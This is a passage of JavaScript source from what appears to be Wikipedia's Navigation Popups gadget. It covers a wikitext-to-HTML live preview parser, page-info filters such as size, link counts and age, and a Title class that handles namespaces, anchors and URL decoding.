}
// return the first non matching character position between two strings
function str_imatch(a, b) {
for (var i = 0, l = Math.min(a.length, b.length); i < l; i++) {
if (a.charAt(i) != b.charAt(i)) {
break;
}
}
return i;
}
// compare current line against a string or regexp
// if passed a string it will compare only the first string.length characters
// if passed a regexp the result is stored in r
function compareLineStringOrReg(c) {
return typeof c == 'string' ?
ll[0] && ll[0].substr(0, c.length) == c :
(r = ll[0] && ll[0].match(c));
}
function compareLineString(c) {
return ll[0] == c;
} // compare current line against a string
function charAtPoint(p) {
return ll[0].charAt(p);
} // return char at pos p
function endl(s) {
ps(s);
sh();
}
function parse_list() {
let prev = '';
while (remain() && compareLineStringOrReg(/^([*#:;]+)(.*)$/)) {
const l_match = r;
sh();
const ipos = str_imatch(prev, l_match[1]);
// close uncontinued lists
for (let prevPos = prev.length - 1; prevPos >= ipos; prevPos--) {
const pi = prev.charAt(prevPos);
if (pi == '*') {
ps('</ul>');
} else if (pi == '#') {
ps('</ol>');
}
// close a dl only if the new item is not a dl item (:, ; or empty)
else if ($.inArray(l_match[1].charAt(prevPos), ['', '*', '#'])) {
ps('</dl>');
}
}
// open new lists
for (let matchPos = ipos; matchPos < l_match[1].length; matchPos++) {
const li = l_match[1].charAt(matchPos);
if (li == '*') {
ps('<ul>');
} else if (li == '#') {
ps('<ol>');
}
// open a new dl only if the prev item is not a dl item (:, ; or empty)
else if ($.inArray(prev.charAt(matchPos), ['', '*', '#'])) {
ps('<dl>');
}
}
switch (l_match[1].charAt(l_match[1].length - 1)) {
case '*':
case '#':
ps('<li>' + parse_inline_nowiki(l_match[2]));
break;
case ';':
ps('<dt>');
var dt_match = l_match[2].match(/(.*?)(:.*?)$/);
// handle ;dt :dd format
if (dt_match) {
ps(parse_inline_nowiki(dt_match[1]));
ll.unshift(dt_match[2]);
} else {
ps(parse_inline_nowiki(l_match[2]));
}
break;
case ':':
ps('<dd>' + parse_inline_nowiki(l_match[2]));
}
prev = l_match[1];
}
// close remaining lists
for (let i = prev.length - 1; i >= 0; i--) {
ps(f('</?>', prev.charAt(i) == '*' ? 'ul' : prev.charAt(i) == '#' ? 'ol' : 'dl'));
}
}
function parse_table() {
endl(f('<table>', compareLineStringOrReg(/^\{\|( .*)$/) ? r[1] : ''));
for (; remain(); ) {
if (compareLineStringOrReg('|')) {
switch (charAtPoint(1)) {
case '}':
endl('</table>');
return;
case '-':
endl(f('<tr>', compareLineStringOrReg(/\|-*(.*)/)[1]));
break;
default:
parse_table_data();
}
} else if (compareLineStringOrReg('!')) {
parse_table_data();
} else {
sh();
}
}
}
function parse_table_data() {
let td_line, match_i;
// 1: "|+", '|' or '+'
// 2: ??
// 3: attributes ??
// TODO: finish commenting this regexp
const td_match = sh().match(/^(\|\+|\||!)((?:([^[|]*?)\|(?!\|))?(.*))$/);
if (td_match[1] == '|+') {
ps('<caption');
} else {
ps('<t' + (td_match[1] == '|' ? 'd' : 'h'));
}
if (typeof td_match[3] != 'undefined') {
//ps(' ' + td_match[3])
match_i = 4;
} else {
match_i = 2;
}
ps('>');
if (td_match[1] != '|+') {
// use || or !! as a cell separator depending on context
// NOTE: when split() is passed a regexp make sure to use non-capturing brackets
td_line = td_match[match_i].split(td_match[1] == '|' ? '||' : /(?:\|\||!!)/);
ps(parse_inline_nowiki(td_line.shift()));
while (td_line.length) {
ll.unshift(td_match[1] + td_line.pop());
}
} else {
ps(parse_inline_nowiki(td_match[match_i]));
}
let tc = 0,
td = [];
while (remain()) {
td.push(sh());
if (compareLineStringOrReg('|')) {
if (!tc) {
break;
}
// we're at the outer-most level (no nested tables), skip to td parse
else if (charAtPoint(1) == '}') {
tc--;
}
} else if (!tc && compareLineStringOrReg('!')) {
break;
} else if (compareLineStringOrReg('{|')) {
tc++;
}
}
if (td.length) {
ps(Insta.convert(td));
}
}
function parse_pre() {
ps('<pre>');
do {
endl(parse_inline_nowiki(ll[0].substring(1)) + '\n');
} while (remain() && compareLineStringOrReg(' '));
ps('</pre>');
}
function parse_block_image() {
ps(parse_image(sh()));
}
function parse_image(str) {
// get what's in between "[[Image:" and "]]"
let tag = str.substring(str.indexOf(':') + 1, str.length - 2);
let width;
let attr = [],
filename,
caption = '';
let thumb = 0,
frame = 0,
center = 0;
let align = '';
if (tag.match(/\|/)) {
// manage nested links
let nesting = 0;
let last_attr;
for (let i = tag.length - 1; i > 0; i--) {
if (tag.charAt(i) == '|' && !nesting) {
last_attr = tag.substr(i + 1);
tag = tag.substring(0, i);
break;
} else {
switch (tag.substr(i - 1, 2)) {
case ']]':
nesting++;
i--;
break;
case '[[':
nesting--;
i--;
}
}
}
attr = tag.split(/\s*\|\s*/);
attr.push(last_attr);
filename = attr.shift();
let w_match;
for (; attr.length; attr.shift()) {
w_match = attr[0].match(/^(\d*)(?:[px]*\d*)?px$/);
if (w_match) {
width = w_match[1];
} else {
switch (attr[0]) {
case 'thumb':
case 'thumbnail':
thumb = true;
frame = true;
break;
case 'frame':
frame = true;
break;
case 'none':
case 'right':
case 'left':
center = false;
align = attr[0];
break;
case 'center':
center = true;
align = 'none';
break;
default:
if (attr.length == 1) {
caption = attr[0];
}
}
}
}
} else {
filename = tag;
}
return '';
}
function parse_inline_nowiki(str) {
let start,
lastend = 0;
let substart = 0,
nestlev = 0,
open,
close,
subloop;
let html = '';
while ((start = str.indexOf('<nowiki>', substart)) != -1) {
html += parse_inline_wiki(str.substring(lastend, start));
start += 8;
substart = start;
subloop = true;
do {
open = str.indexOf('<nowiki>', substart);
close = str.indexOf('</nowiki>', substart);
if (close <= open || open == -1) {
if (close == -1) {
return html + html_entities(str.substr(start));
}
substart = close + 9;
if (nestlev) {
nestlev--;
} else {
lastend = substart;
html += html_entities(str.substring(start, lastend - 9));
subloop = false;
}
} else {
substart = open + 8;
nestlev++;
}
} while (subloop);
}
return html + parse_inline_wiki(str.substr(lastend));
}
function parse_inline_images(str) {
let start,
substart = 0,
nestlev = 0;
let loop, close, open, wiki, html;
while ((start = str.indexOf('[[', substart)) != -1) {
if (
str.substr(start + 2).match(RegExp('^(Image|File|' + Insta.conf.locale.image + '):', 'i'))
) {
loop = true;
substart = start;
do {
substart += 2;
close = str.indexOf(']]', substart);
open = str.indexOf('[[', substart);
if (close <= open || open == -1) {
if (close == -1) {
return str;
}
substart = close;
if (nestlev) {
nestlev--;
} else {
wiki = str.substring(start, close + 2);
html = parse_image(wiki);
str = str.replace(wiki, html);
substart = start + html.length;
loop = false;
}
} else {
substart = open;
nestlev++;
}
} while (loop);
} else {
break;
}
}
return str;
}
// the output of this function doesn't respect the FILO structure of HTML
// but since most browsers can handle it I'll save myself the hassle
function parse_inline_formatting(str) {
let italic,
bold,
i,
li,
o = '';
while ((i = str.indexOf("''", li)) + 1) {
o += str.substring(li, i);
li = i + 2;
if (str.charAt(i + 2) == "'") {
li++;
bold = !bold;
o += bold ? '<b>' : '</b>';
} else {
italic = !italic;
o += italic ? '<i>' : '</i>';
}
}
return o + str.substr(li);
}
function parse_inline_wiki(str) {
str = parse_inline_images(str);
// math
str = str.replace(/<(?:)math>(.*?)<\/math>/gi, '');
// Build a Mediawiki-formatted date string
let date = new Date();
let minutes = date.getUTCMinutes();
if (minutes < 10) {
minutes = '0' + minutes;
}
date = f(
'?:?, ? ? ? (UTC)',
date.getUTCHours(),
minutes,
date.getUTCDate(),
Insta.conf.locale.months[date.getUTCMonth()],
date.getUTCFullYear()
);
// text formatting
str =
str
// signatures
.replace(/~{5}(?!~)/g, date)
.replace(/~{4}(?!~)/g, Insta.conf.user.name + ' ' + date)
.replace(/~{3}(?!~)/g, Insta.conf.user.name)
// [[:Category:...]], [[:Image:...]], etc...
.replace(
RegExp(
'\\[\\[:((?:' +
Insta.conf.locale.category +
'|Image|File|' +
Insta.conf.locale.image +
'|' +
Insta.conf.wiki.interwiki +
'):[^|]*?)\\]\\](\\w*)',
'gi'
),
($0, $1, $2) => f(
"<a href='?'>?</a>",
Insta.conf.paths.articles + htmlescape_attr($1),
htmlescape_text($1) + htmlescape_text($2)
)
)
// remove straight category and interwiki tags
.replace(
RegExp(
'\\[\\[(?:' +
Insta.conf.locale.category +
'|' +
Insta.conf.wiki.interwiki +
'):.*?\\]\\]',
'gi'
),
''
)
// [[:Category:...|Links]], [[:Image:...|Links]], etc...
.replace(
RegExp(
'\\[\\[:((?:' +
Insta.conf.locale.category +
'|Image|File|' +
Insta.conf.locale.image +
'|' +
Insta.conf.wiki.interwiki +
'):.*?)\\|([^\\]]+?)\\]\\](\\w*)',
'gi'
),
($0, $1, $2, $3) => f(
"<a href='?'>?</a>",
Insta.conf.paths.articles + htmlescape_attr($1),
htmlescape_text($2) + htmlescape_text($3)
)
)
// [[/Relative links]]
.replace(/\[\[(\/[^|]*?)\]\]/g, ($0, $1) => f(
"<a href='?'>?</a>",
Insta.conf.baseUrl + htmlescape_attr($1),
htmlescape_text($1)
))
// [[/Replaced|Relative links]]
.replace(/\[\[(\/.*?)\|(.+?)\]\]/g, ($0, $1, $2) => f(
"<a href='?'>?</a>",
Insta.conf.baseUrl + htmlescape_attr($1),
htmlescape_text($2)
))
// [[Common links]]
.replace(/\[\[([^[|]*?)\]\](\w*)/g, ($0, $1, $2) => f(
"<a href='?'>?</a>",
Insta.conf.paths.articles + htmlescape_attr($1),
htmlescape_text($1) + htmlescape_text($2)
))
// [[Replaced|Links]]
.replace(/\[\[([^[]*?)\|([^\]]+?)\]\](\w*)/g, ($0, $1, $2, $3) => f(
"<a href='?'>?</a>",
Insta.conf.paths.articles + htmlescape_attr($1),
htmlescape_text($2) + htmlescape_text($3)
))
// [[Stripped:Namespace|Namespace]]
.replace(/\[\[([^\]]*?:)?(.*?)( *\(.*?\))?\|\]\]/g, ($0, $1, $2, $3) => f(
"<a href='?'>?</a>",
Insta.conf.paths.articles +
htmlescape_attr($1) +
htmlescape_attr($2) +
htmlescape_attr($3),
htmlescape_text($2)
))
// External links
.replace(
/\[(https?|news|ftp|mailto|gopher|irc):(\/*)([^\]]*?) (.*?)\]/g,
($0, $1, $2, $3, $4) => f(
"<a class='external' href='?:?'>?</a>",
htmlescape_attr($1),
htmlescape_attr($2) + htmlescape_attr($3),
htmlescape_text($4)
)
)
.replace(/\[http:\/\/(.*?)\]/g, ($0, $1) => f("<a class='external' href='http://?'>[#]</a>", htmlescape_attr($1)))
.replace(/\[(news|ftp|mailto|gopher|irc):(\/*)(.*?)\]/g, ($0, $1, $2, $3) => f(
"<a class='external' href='?:?'>?:?</a>",
htmlescape_attr($1),
htmlescape_attr($2) + htmlescape_attr($3),
htmlescape_text($1),
htmlescape_text($2) + htmlescape_text($3)
))
.replace(
/(^| )(https?|news|ftp|mailto|gopher|irc):(\/*)([^ $]*[^.,!?;: $])/g,
($0, $1, $2, $3, $4) => f(
"?<a class='external' href='?:?'>?:?</a>",
htmlescape_text($1),
htmlescape_attr($2),
htmlescape_attr($3) + htmlescape_attr($4),
htmlescape_text($2),
htmlescape_text($3) + htmlescape_text($4)
)
)
.replace('__NOTOC__', '')
.replace('__NOINDEX__', '')
.replace('__INDEX__', '')
.replace('__NOEDITSECTION__', '');
return parse_inline_formatting(str);
}
// begin parsing
for (; remain(); ) {
if (compareLineStringOrReg(/^(={1,6})(.*)\1(.*)$/)) {
p = 0;
endl(f('<h?>?</h?>?', r[1].length, parse_inline_nowiki(r[2]), r[1].length, r[3]));
} else if (compareLineStringOrReg(/^[*#:;]/)) {
p = 0;
parse_list();
} else if (compareLineStringOrReg(' ')) {
p = 0;
parse_pre();
} else if (compareLineStringOrReg('{|')) {
p = 0;
parse_table();
} else if (compareLineStringOrReg(/^----+$/)) {
p = 0;
endl('<hr />');
} else if (compareLineStringOrReg(Insta.BLOCK_IMAGE)) {
p = 0;
parse_block_image();
} else {
// handle paragraphs
if (compareLineString('')) {
p = remain() > 1 && ll[1] === '';
if (p) {
endl('<p><br>');
}
} else {
if (!p) {
ps('<p>');
p = 1;
}
ps(parse_inline_nowiki(ll[0]) + ' ');
}
sh();
}
}
return o;
};
function wiki2html(txt, baseurl) {
Insta.conf.baseUrl = baseurl;
return Insta.convert(txt);
}
// ENDFILE: livepreview.js
// STARTFILE: pageinfo.js
function popupFilterPageSize(data) {
return formatBytes(data.length);
}
function popupFilterCountLinks(data) {
const num = countLinks(data);
return String(num) + ' ' + (num != 1 ? popupString('wikiLinks') : popupString('wikiLink'));
}
function popupFilterCountImages(data) {
const num = countImages(data);
return String(num) + ' ' + (num != 1 ? popupString('images') : popupString('image'));
}
function popupFilterCountCategories(data) {
const num = countCategories(data);
return (
String(num) + ' ' + (num != 1 ? popupString('categories') : popupString('category'))
);
}
function popupFilterLastModified(data, download) {
const lastmod = download.lastModified;
const now = new Date();
const age = now - lastmod;
if (lastmod && getValueOf('popupLastModified')) {
return tprintf('%s old', [formatAge(age)]).replace(/ /g, ' ');
}
return '';
}
function popupFilterWikibaseItem(data, download) {
return download.wikibaseItem ?
tprintf('<a href="%s">%s</a>', [
download.wikibaseRepo.replace(/\$1/g, download.wikibaseItem),
download.wikibaseItem,
]) :
'';
}
function formatAge(age) {
// coerce into a number
let a = 0 + age,
aa = a;
const seclen = 1000;
const minlen = 60 * seclen;
const hourlen = 60 * minlen;
const daylen = 24 * hourlen;
const weeklen = 7 * daylen;
const numweeks = (a - (a % weeklen)) / weeklen;
a = a - numweeks * weeklen;
const sweeks = addunit(numweeks, 'week');
const numdays = (a - (a % daylen)) / daylen;
a = a - numdays * daylen;
const sdays = addunit(numdays, 'day');
const numhours = (a - (a % hourlen)) / hourlen;
a = a - numhours * hourlen;
const shours = addunit(numhours, 'hour');
const nummins = (a - (a % minlen)) / minlen;
a = a - nummins * minlen;
const smins = addunit(nummins, 'minute');
const numsecs = (a - (a % seclen)) / seclen;
a = a - numsecs * seclen;
const ssecs = addunit(numsecs, 'second');
if (aa > 4 * weeklen) {
return sweeks;
}
if (aa > weeklen) {
return sweeks + ' ' + sdays;
}
if (aa > daylen) {
return sdays + ' ' + shours;
}
if (aa > 6 * hourlen) {
return shours;
}
if (aa > hourlen) {
return shours + ' ' + smins;
}
if (aa > 10 * minlen) {
return smins;
}
if (aa > minlen) {
return smins + ' ' + ssecs;
}
return ssecs;
}
function addunit(num, str) {
return String(num) + ' ' + (num != 1 ? popupString(str + 's') : popupString(str));
}
function runPopupFilters(list, data, download) {
const ret = [];
for (let i = 0; i < list.length; ++i) {
if (list[i] && typeof list[i] == 'function') {
const s = list[i](data, download, download.owner.article);
if (s) {
ret.push(s);
}
}
}
return ret;
}
function getPageInfo(data, download) {
if (!data || data.length === 0) {
return popupString('Empty page');
}
const popupFilters = getValueOf('popupFilters') || [];
const extraPopupFilters = getValueOf('extraPopupFilters') || [];
const pageInfoArray = runPopupFilters(popupFilters.concat(extraPopupFilters), data, download);
let pageInfo = pageInfoArray.join(', ');
if (pageInfo !== '') {
pageInfo = upcaseFirst(pageInfo);
}
return pageInfo;
}
// this could be improved!
function countLinks(wikiText) {
return wikiText.split('[[').length - 1;
}
// if N = # matches, n = # brackets, then
// String.parenSplit(regex) intersperses the N+1 split elements
// with Nn other elements. So total length is
// L= N+1 + Nn = N(n+1)+1. So N=(L-1)/(n+1).
function countImages(wikiText) {
return (wikiText.parenSplit(pg.re.image).length - 1) / (pg.re.imageBracketCount + 1);
}
function countCategories(wikiText) {
return (wikiText.parenSplit(pg.re.category).length - 1) / (pg.re.categoryBracketCount + 1);
}
function popupFilterStubDetect(data, download, article) {
const counts = stubCount(data, article);
if (counts.real) {
return popupString('stub');
}
if (counts.sect) {
return popupString('section stub');
}
return '';
}
function popupFilterDisambigDetect(data, download, article) {
if (!getValueOf('popupAllDabsStubs') && article.namespace()) {
return '';
}
return isDisambig(data, article) ? popupString('disambig') : '';
}
function formatBytes(num) {
return num > 949 ?
Math.round(num / 100) / 10 + popupString('kB') :
num + ' ' + popupString('bytes');
}
// ENDFILE: pageinfo.js
// STARTFILE: titles.js
/**
* @file Defines the {@link Title} class, and associated crufty functions.
*
* <code>Title</code> deals with article titles and their various
* forms. {@link Stringwrapper} is the parent class of
* <code>Title</code>, which exists simply to make things a little
* neater.
*/
/**
* Creates a new Stringwrapper.
*
* @constructor
*
* @class the Stringwrapper class. This base class is not really
* useful on its own; it just wraps various common string operations.
*/
function Stringwrapper() {
/**
* Wrapper for this.toString().indexOf()
*
* @param {string} x
* @type {number}
*/
this.indexOf = function (x) {
return this.toString().indexOf(x);
};
/**
* Returns this.value.
*
* @type {string}
*/
this.toString = function () {
return this.value;
};
/**
* Wrapper for {@link String#parenSplit} applied to this.toString()
*
* @param {RegExp} x
* @type {Array}
*/
this.parenSplit = function (x) {
return this.toString().parenSplit(x);
};
/**
* Wrapper for this.toString().substring()
*
* @param {string} x
* @param {string} y (optional)
* @type {string}
*/
this.substring = function (x, y) {
if (typeof y == 'undefined') {
return this.toString().substring(x);
}
return this.toString().substring(x, y);
};
/**
* Wrapper for this.toString().split()
*
* @param {string} x
* @type {Array}
*/
this.split = function (x) {
return this.toString().split(x);
};
/**
* Wrapper for this.toString().replace()
*
* @param {string} x
* @param {string} y
* @type {string}
*/
this.replace = function (x, y) {
return this.toString().replace(x, y);
};
}
/**
* Creates a new <code>Title</code>.
*
* @constructor
*
* @class The Title class. Holds article titles and converts them into
* various forms. Also deals with anchors, by which we mean the bits
* of the article URL after a # character, representing locations
* within an article.
*
* @param {string} value The initial value to assign to the
* article. This must be the canonical title (see {@link
* Title#value}. Omit this in the constructor and use another function
* to set the title if this is unavailable.
*/
function Title(val) {
/**
* The canonical article title. This must be in UTF-8 with no
* entities, escaping or nasties. Also, underscores should be
* replaced with spaces.
*
* @type {string}
* @private
*/
this.value = null;
/**
* The canonical form of the anchor. This should be exactly as
* it appears in the URL, i.e. with the .C3.0A bits in.
*
* @type {string}
*/
this.anchor = '';
this.setUtf(val);
}
Title.prototype = new Stringwrapper();
/**
* Returns the canonical representation of the article title, optionally without anchor.
*
* @param {boolean} omitAnchor
* @fixme Decide specs for anchor
* @return String The article title and the anchor.
*/
Title.prototype.toString = function (omitAnchor) {
return this.value + (!omitAnchor && this.anchor ? '#' + this.anchorString() : '');
};
Title.prototype.anchorString = function () {
if (!this.anchor) {
return '';
}
const split = this.anchor.parenSplit(/((?:[.][0-9A-F]{2})+)/);
const len = split.length;
let value;
for (let j = 1; j < len; j += 2) {
// FIXME s/decodeURI/decodeURIComponent/g ?
value = split[j].split('.').join('%');
try {
value = decodeURIComponent(value);
} catch (e) {
// cannot decode
}
split[j] = value.split('_').join(' ');
}
return split.join('');
};
Title.prototype.urlAnchor = function () {
const split = this.anchor.parenSplit('/((?:[%][0-9A-F]{2})+)/');
const len = split.length;
for (let j = 1; j < len; j += 2) {
split[j] = split[j].split('%').join('.');
}
return split.join('');
};
Title.prototype.anchorFromUtf = function (str) {
this.anchor = encodeURIComponent(str.split(' ').join('_'))
.split('%3A')
.join(':')
.split("'")
.join('%27')
.split('%')
.join('.');
};
Title.fromURL = function (h) {
return new Title().fromURL(h);
};
Title.prototype.fromURL = function (h) {
if (typeof h != 'string') {
this.value = null;
return this;
}
// NOTE : playing with decodeURI, encodeURI, escape, unescape,
// we seem to be able to replicate the IE borked encoding
// IE doesn't do this new-fangled utf-8 thing.
// and it's worse than that.
// IE seems to treat the query string differently to the rest of the url
// the query is treated as bona-fide utf8, but the first bit of the url is pissed around with
// we fix up & for all browsers, just in case.
const splitted = h.split('?');
splitted[0] = splitted[0].split('&').join('%26');
h = splitted.join('?');
const contribs = pg.re.contribs.exec(h);
if (contribs) {
if (contribs[1] == 'title=') {
contribs[3] = contribs[3].split('+').join(' ');
}
const u = new Title(contribs[3]);
this.setUtf(
this.decodeNasties(
mw.config.get('wgFormattedNamespaces')[pg.nsUserId] + ':' + u.stripNamespace()
)
);
return this;
}
const email = pg.re.email.exec(h);
if (email) {
this.setUtf(
this.decodeNasties(
mw.config.get('wgFormattedNamespaces')[pg.nsUserId] +
':' +
new Title(email[3]).stripNamespace()
)
);
return this;
}
const backlinks = pg.re.backlinks.exec(h);
if (backlinks) {
this.setUtf(this.decodeNasties(new Title(backlinks[3])));
return this;
}
//A dummy title object for a Special:Diff link.
const specialdiff = pg.re.specialdiff.exec(h);
if (specialdiff) {
this.setUtf(
this.decodeNasties(
new Title(mw.config.get('wgFormattedNamespaces')[pg.nsSpecialId] + ':Diff')
)
);
return this;
}
// no more special cases to check --
// hopefully it's not a disguised user-related or specially treated special page
// Includes references
const m = pg.re.main.exec(h);
if (m === null) {
this.value = null;
} else {
const fromBotInterface = /[?](.+[&])?title=/.test(h);
if (fromBotInterface) {
m[2] = m[2].split('+').join('_');
}
const extracted = m[2] + (m[3] ? '#' + m[3] : '');
if (pg.flag.isSafari && /%25[0-9A-Fa-f]{2}/.test(extracted)) {
// Fix Safari issue
// Safari sometimes encodes % as %25 in UTF-8 encoded strings like %E5%A3 -> %25E5%25A3.
this.setUtf(decodeURIComponent(unescape(extracted)));
} else {
this.setUtf(this.decodeNasties(extracted));
}
}
return this;
};
Title.prototype.decodeNasties = function (txt) {
// myDecodeURI uses decodeExtras, which removes _,
// thus ruining citations previews, which are formated as "cite_note-1"
try {
let ret = decodeURI(this.decodeEscapes(txt));
ret = ret.replace(/[_ ]*$/, '');
return ret;
} catch (e) {
return txt; // cannot decode
}
};
// Decode valid %-encodings, otherwise escape them
Title.prototype.decodeEscapes = function (txt) {
const split = txt.parenSplit(/((?:[%][0-9A-Fa-f]{2})+)/);
const len = split.length;
// No %-encoded items found, so replace the literal %
if (len === 1) {
return split[0].replace(/%(?![0-9a-fA-F][0-9a-fA-F])/g, '%25');
}
for (let i = 1; i < len; i = i + 2) {
split[i] = decodeURIComponent(split[i]);
}
return split.join('');
};
Title.fromAnchor = function (a) {
return new Title().fromAnchor(a);
};
Title.prototype.fromAnchor = function (a) {
if (!a) {
this.value = null;
return this;
}
return this.fromURL(a.href);
};
Title.fromWikiText = function (txt) {
return new Title().fromWikiText(txt);
};
Title.prototype.fromWikiText = function (txt) {
// FIXME - testing needed
txt = myDecodeURI(txt);
this.setUtf(txt);
return this;
};
Title.prototype.hintValue = function () {
if (!this.value) {
return '';
}
return safeDecodeURI(this.value);
};
Title.prototype.toUserName = function (withNs) {
if (this.namespaceId() != pg.nsUserId && this.namespaceId() != pg.nsUsertalkId) {
this.value = null;
return;
}
this.value =
(withNs ? mw.config.get('wgFormattedNamespaces')[pg.nsUserId] + ':' : '') +
this.stripNamespace().split('/')[0];
};
Title.prototype.userName = function (withNs) {
const t = new Title(this.value);
t.toUserName(withNs);
if (t.value) {
return t;
}
return null;
};
Title.prototype.toTalkPage = function () {
// convert article to a talk page, or if we can't, return null
// In other words: return null if this ALREADY IS a talk page
// and return the corresponding talk page otherwise
//
// Per https://www.mediawiki.org/wiki/Manual:Namespace#Subject_and_talk_namespaces
// * All discussion namespaces have odd-integer indices
// * The discussion namespace index for a specific namespace with index n is n + 1
if (this.value === null) {
return null;
}
const namespaceId = this.namespaceId();
if (namespaceId >= 0 && namespaceId % 2 === 0) {
//non-special and subject namespace
const localizedNamespace = mw.config.get('wgFormattedNamespaces')[namespaceId + 1];
if (typeof localizedNamespace !== 'undefined') {
if (localizedNamespace === '') {
this.value = this.stripNamespace();
} else {
this.value = localizedNamespace.split(' ').join('_') + ':' + this.stripNamespace();
}
return this.value;
}
}
this.value = null;
return null;
};
// Return canonical, localized namespace
Title.prototype.namespace = function () {
return mw.config.get('wgFormattedNamespaces')[this.namespaceId()];
};
Title.prototype.namespaceId = function () {
const n = this.value.indexOf(':');
if (n < 0) {
return 0;
} //mainspace
const namespaceId =
mw.config.get('wgNamespaceIds')[
this.value.substring(0, n).split(' ').join('_').toLowerCase()
];
if (typeof namespaceId == 'undefined') {
return 0;
} //mainspace
return namespaceId;
};
Title.prototype.talkPage = function () {
const t = new Title(this.value);
t.toTalkPage();
if (t.value) {
return t;
}
return null;
};
Title.prototype.isTalkPage = function () {
if (this.talkPage() === null) {
return true;
}
return false;
};
Title.prototype.toArticleFromTalkPage = function () {
//largely copy/paste from toTalkPage above.
if (this.value === null) {
return null;
}
const namespaceId = this.namespaceId();
if (namespaceId >= 0 && namespaceId % 2 == 1) {
//non-special and talk namespace
const localizedNamespace = mw.config.get('wgFormattedNamespaces')[namespaceId - 1];
if (typeof localizedNamespace !== 'undefined') {
if (localizedNamespace === '') {
this.value = this.stripNamespace();
} else {
this.value = localizedNamespace.split(' ').join('_') + ':' + this.stripNamespace();
}
return this.value;
}
}
this.value = null;
return null;
};
Title.prototype.articleFromTalkPage = function () {
const t = new Title(this.value);
t.toArticleFromTalkPage();
if (t.value) {
return t;
}
return null;
};
Title.prototype.articleFromTalkOrArticle = function () {
const t = new Title(this.value);
if (t.toArticleFromTalkPage()) {
return t;
}
return this;
};
Title.prototype.isIpUser = function () {
return pg.re.ipUser.test(this.userName());
};
Title.prototype.stripNamespace = function () {
// returns a string, not a Title
const n = this.value.indexOf(':');
if (n < 0) {
return this.value;
}
const namespaceId = this.namespaceId();
if (namespaceId === pg.nsMainspaceId) {
return this.value;
}
return this.value.substring(n + 1);
};
Title.prototype.setUtf = function (value) {
if (!value) {
this.value = '';
return;
}
const anch = value.indexOf('#');
if (anch < 0) {
this.value = value.split('_').join(' ');
this.anchor = '';
return;
}
this.value = value.substring(0, anch).split('_').join(' ');
this.anchor = value.substring(anch + 1);
this.ns = null; // wait until namespace() is called
};
Title.prototype.setUrl = function (urlfrag) {
const anch = urlfrag.indexOf('#');
this.value = safeDecodeURI(urlfrag.substring(0, anch));
this.anchor = this.value.substring(anch + 1);
};
Title.prototype.append = function (x) {
this.setUtf(this.value + x);
};
Title.prototype.urlString = function (x) {
if (!x) {
x = {};
}
let v = this.toString(true);
if (!x.omitAnchor && this.anchor) {
v += '#' + this.urlAnchor();
}
if (!x.keepSpaces) {
v = v.split(' ').join('_');
}
return encodeURI(v).split('&').join('%26').split('?').join('%3F').split('+').join('%2B');
};
Title.prototype.removeAnchor = function () {
return new Title(this.toString(true));
};
Title.prototype.toUrl = function () {
return pg.wiki.titlebase + this.urlString();
};
function parseParams(url) {
const specialDiff = pg.re.specialdiff.exec(url);
if (specialDiff) {
const split = specialDiff[1].split('/');
if (split.length == 1) {
return { oldid: split[0], diff: 'prev' };
} else if (split.length == 2) {
return { oldid: split[0], diff: split[1] };
}
}
const ret = {};
if (url.indexOf('?') == -1) {
return ret;
}
url = url.split('#')[0];
const s = url.split('?').slice(1).join();
const t = s.split('&');
for (let i = 0; i < t.length; ++i) {
const z = t[i].split('=');
z.push(null);
ret[z[0]] = z[1];
}
//Diff revision with no oldid is interpreted as a diff to the previous revision by MediaWiki
if (ret.diff && typeof ret.oldid === 'undefined') {
ret.oldid = 'prev';
}
//Documentation seems to say something different, but oldid can also accept prev/next, and
//Echo is emitting such URLs. Simple fixup during parameter decoding:
if (ret.oldid && (ret.oldid === 'prev' || ret.oldid === 'next' || ret.oldid === 'cur')) {
const helper = ret.diff;
ret.diff = ret.oldid;
ret.oldid = helper;
}
return ret;
}
// (a) myDecodeURI (first standard decodeURI, then pg.re.urlNoPopup)
// (b) change spaces to underscores
// (c) encodeURI (just the straight one, no pg.re.urlNoPopup)
function myDecodeURI(str) {
let ret;
// FIXME decodeURIComponent??
try {
ret = decodeURI(str.toString());
} catch (summat) {
return str;
}
for (let i = 0; i < pg.misc.decodeExtras.length; ++i) {
const from = pg.misc.decodeExtras[i].from;
const to = pg.misc.decodeExtras[i].to;
ret = ret.split(from).join(to);
}
return ret;
}
function safeDecodeURI(str) {
const ret = myDecodeURI(str);
return ret || str;
}
///////////
// TESTS //
///////////
function isDisambig(data, article) {
if (!getValueOf('popupAllDabsStubs') && article.namespace()) {
return false;
}
return !article.isTalkPage() && pg.re.disambig.test(data);
}
function stubCount(data, article) {
if (!getValueOf('popupAllDabsStubs') && article.namespace()) {
return false;
}
let sectStub = 0;
let realStub = 0;
if (pg.re.stub.test(data)) {
const s = data.parenSplit(pg.re.stub);
for (let i = 1; i < s.length; i = i + 2) {
if (s[i]) {
++sectStub;
} else {
++realStub;
}
}
}
return { real: realStub, sect: sectStub };
}
function isValidImageName(str) {
// extend as needed...
return str.indexOf('{') == -1;
}
function isInStrippableNamespace(article) {
// Does the namespace allow subpages
// Note, would be better if we had access to wgNamespacesWithSubpages
return article.namespaceId() !== 0;
}
function isInMainNamespace(article) {
return article.namespaceId() === 0;
}
function anchorContainsImage(a) {
// iterate over children of anchor a
// see if any are images
if (a === null) {
return false;
}
const kids = a.childNodes;
for (let i = 0; i < kids.length; ++i) {
if (kids[i].nodeName == 'IMG') {
return true;
}
}
return false;
}
function isPopupLink(a) {
// NB for performance reasons, TOC links generally return true
// they should be stripped out later
if (!markNopopupSpanLinks.done) {
markNopopupSpanLinks();
}
if (a.inNopopupSpan) {
return false;
}
// FIXME is this faster inline?
if (a.onmousedown || a.getAttribute('nopopup')) {
return false;
}
const h = a.href;
if (h === document.location.href + '#') {
return false;
}
if (!pg.re.basenames.test(h)) {
return false;
}
if (!pg.re.urlNoPopup.test(h)) {
return true;
}
return (
(pg.re.email.test(h) ||
pg.re.contribs.test(h) ||
pg.re.backlinks.test(h) ||
pg.re.specialdiff.test(h)) &&
h.indexOf('&limit=') == -1
);
}
function markNopopupSpanLinks() {
if (!getValueOf('popupOnlyArticleLinks')) {
fixVectorMenuPopups();
}
const s = $('.nopopups').toArray();
for (let i = 0; i < s.length; ++i) {
const as = s[i].getElementsByTagName('a');
for (let j = 0; j < as.length; ++j) {
as[j].inNopopupSpan = true;
}
}
markNopopupSpanLinks.done = true;
}
function fixVectorMenuPopups() {
$('nav.vector-menu h3:first a:first').prop('inNopopupSpan', true);
}
// ENDFILE: titles.js
// STARTFILE: getpage.js
//////////////////////////////////////////////////
